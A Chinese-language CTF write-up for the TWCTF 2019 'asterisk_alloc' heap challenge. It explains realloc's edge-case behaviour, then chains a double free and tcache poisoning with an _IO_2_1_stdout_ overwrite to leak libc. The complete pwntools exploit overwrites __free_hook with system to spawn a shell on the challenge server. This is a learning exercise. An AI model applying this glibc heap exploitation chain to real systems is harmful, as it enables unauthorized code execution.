BUU-TWCTF_online_2019_asterisk_alloc-WP

Posted on Mar 19, 2021

这道题涉及到 realloc 的利用,还蛮新奇的,第一次接触。昨天晚上卡了一晚上没做出来,今天终于是解完了。

首先 realloc 在申请的空间不同时,行为也是不同的。我们记申请的大小为 Nsize,ptr 指向的堆块的大小为 Osize,那么在调用 realloc(ptr,Nsize) 时有以下几种情况

  • Nsize == 0 此时等同于 free,且返回值为 0
  • Nsize < Osize 切割原 chunk,讲多余部分 free
  • Nsize == Osize 不做操作
  • Nsize > Osize 尽可能地尝试通过后向合并(包括 Tcache 这样的一般不会被合并的 chunk)来满足申请,如果通过后向合并可以满足 Nsize,则进行合并并返回原指针;否则会新 malloc 一个 Nsize 的 chunk,将原 chunk 的数据拷贝至新 chunk,free 掉原 chunk(注意这种情况下不会后向合并
  • Nsize = -1 也就是申请一个机器无法分配的大小,由于我没有看源码,不知道实际行为如何,但是通过调试得到的结论为返回 0,且不会对 ptr 原指向的 chunk 进行 free

本题的漏洞很明显,主要是 double free,又是 2.27 版本的 libc,通过 Tcache poisoning 可以很容易地劫持各种 hook,那么主要的问题就在于如何 leak libc,程序本身没有输出的功能,据说这个时候要 leak 的话基本就是要攻击 _IO_FILE 了。原理是 main_arena_IO_2_1_stdout_ 低二字节相同,通过爆破四位就可以分配到 _IO_2_1_stdout_ 上,然后可以修改其 flag_IO_write_base 来实现输出。

第一步要塞满 Tcache 并获得一个 Unsorted Bin,并且要能实现对该 Unsorted Binfd 的修改。本来的话用 malloc 可以容易地解决,但是本题 malloc 只能用一次,所以还是要通过灵活使用 realloc 来实现。具体方法为

  • 通过 realloc 申请并释放三个大小不同的 chunk,记作 A B C。
  • 将 B 申请回来,free 七次,填满 Tcache
  • 通过 realloc(0) 实现一次释放和指针置零,此时 B 进入 Unsorted bin 中(C 存在的目的是为了防止 这里 top_chunk 的合并)
  • 通过 realloc 申请回 A(如果上一次不使用 realloc(0) 而是直接 free 这里就无法申请回 A 了)
  • 通过 realloc 扩展 A,将 B 合并,实现 chunk overlapping,此时我们拥有了对 B 的 UAF 的能力,考虑写 B 的 fd,由于 B 是 Unsorted bin 的尾节点 fd 会指向 main_arena + 96,我们写 fd 的低二字节,让 fd 指向 _IO_2_1_stdout_。由于我们只能使用 realloc 和 一个指针来多次分配申请,所以这里还需要改写 B 的 size 域,保证之后清空指针的时候 B 不会进入我们 poisoning 的链中,只要把 size 改成一个乱七八糟的值就行了。
  • 申请 size(B)realloc(0)
  • 再次申请,此时就获得了一个在 _IO_2_1_stdout_ 的 chunk 了。

也就是下面这样

realloc(0x10,'\n')
realloc(0,'')
realloc(0x80,'\n')
realloc(0,'')
realloc(0x20,'\n')
realloc(0,'')

realloc(0x80,'\n')

for i in range(7):
    free_r()
realloc(0,'')#free to unsorted_bin

realloc(0x10,'\n')
overWriteByte = struct.pack("<H",libc.symbols["_IO_2_1_stdout_"] & 0xFFFF)
realloc(0x10 + 0x80 + 0x10,'a' * 0x10 + p64(0) + p64(0x21) + overWriteByte)
realloc(0,'')
realloc(0x80,struct.pack("B",libc.symbols["_IO_2_1_stdout_"] & 0xFF))
realloc(0,'')
realloc(0x80,p64(0xfbad1887) + p64(0) * 3 + '\x58')#_IO_write_base point to _IO_file_jumps

注意对 _IO_2_1_stdout_ 的改写,需要把 flag 改写为 0xfbad1887,这样之后调用 write 的时候就会输出从 _IO_write_base_IO_write_ptr 中的数据了。那么我们在改写 flag 的同时改写 _IO_write_base,让它指向 _IO_write_base 原指向的位置附近的一个存有 libc 地址的空间就可以实现 leak 了。这里我选择让它指向 _IO_file_jumps

实现 leak 之后就是重来一次 Tcache poisoning,分配到 __free_hook 上写 system getshell。这里又会比较麻烦,因为当前分配到的是一个显然不合法的 chunk,如果 free 的话必然报错,所以就需要 realloc(-1) 来避免 free 并置空指针,之后的操作和之前一样,只要改变 A B C 的大小就基本可以照抄之前的方法了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
import struct


#sh = process("./TWCTF_online_2019_asterisk_alloc")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

sh = remote("node3.buuoj.cn",29556)
libc = ELF("./libcs/libc-2.27-buu.so")

def malloc(size,payload):
    sh.sendlineafter("choice: ",'1')
    sh.sendlineafter("Size: ",str(size))
    sh.sendafter("Data: ",payload)

def calloc(size,payload):
    sh.sendlineafter("choice: ",'2')
    sh.sendlineafter("Size: ",str(size))
    sh.sendafter("Data: ",payload)

def realloc(size,payload):
    sh.sendlineafter("choice: ",'3')
    sh.sendlineafter("Size: ",str(size))
    sh.sendafter("Data: ",payload)

def free_m():
    sh.sendlineafter("choice: ",'4')
    sh.sendlineafter("Which: ",'m')

def free_c():
    sh.sendlineafter("choice: ",'4')
    sh.sendlineafter("Which: ",'c')

def free_r():
    sh.sendlineafter("choice: ",'4')
    sh.sendlineafter("Which: ",'r')

realloc(0x10,'\n')
realloc(0,'')
realloc(0x80,'\n')
realloc(0,'')
realloc(0x20,'\n')
realloc(0,'')

realloc(0x80,'\n')

for i in range(7):
    free_r()
realloc(0,'')#free to unsorted_bin

realloc(0x10,'\n')
overWriteByte = struct.pack("<H",libc.symbols["_IO_2_1_stdout_"] & 0xFFFF)
realloc(0x10 + 0x80 + 0x10,'a' * 0x10 + p64(0) + p64(0x21) + overWriteByte)
realloc(0,'')
realloc(0x80,struct.pack("B",libc.symbols["_IO_2_1_stdout_"] & 0xFF))
realloc(0,'')
realloc(0x80,p64(0xfbad1887) + p64(0) * 3 + '\x58')#_IO_write_base point to _IO_file_jumps

libc_base = u64(sh.recv(8)) - libc.symbols["_IO_file_jumps"]
log.success("libc_base:" + hex(libc_base))
free_hook = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]

sh.sendline("100")#pass
realloc(-1,'\n')#set ptr=0 without free

realloc(0xC0,'\n')
realloc(0,'')
realloc(0xD0,'\n')
realloc(0,'')
realloc(0xE0,'\n')
realloc(0,'')

realloc(0xD0,'\n')

for i in range(7):
    free_r()
realloc(0,'')#free to unsorted_bin

realloc(0xC0,'\n')
realloc(0xC0 + 0x10 + 0xD0,'a' * 0xC0 + p64(0) + p64(0x61) + p64(free_hook - 8))
realloc(0,'')
realloc(0xD0,p64(free_hook - 8))
realloc(0,'')
realloc(0xD0,'/bin/sh\x00' + p64(system_addr))
free_r()

sh.interactive()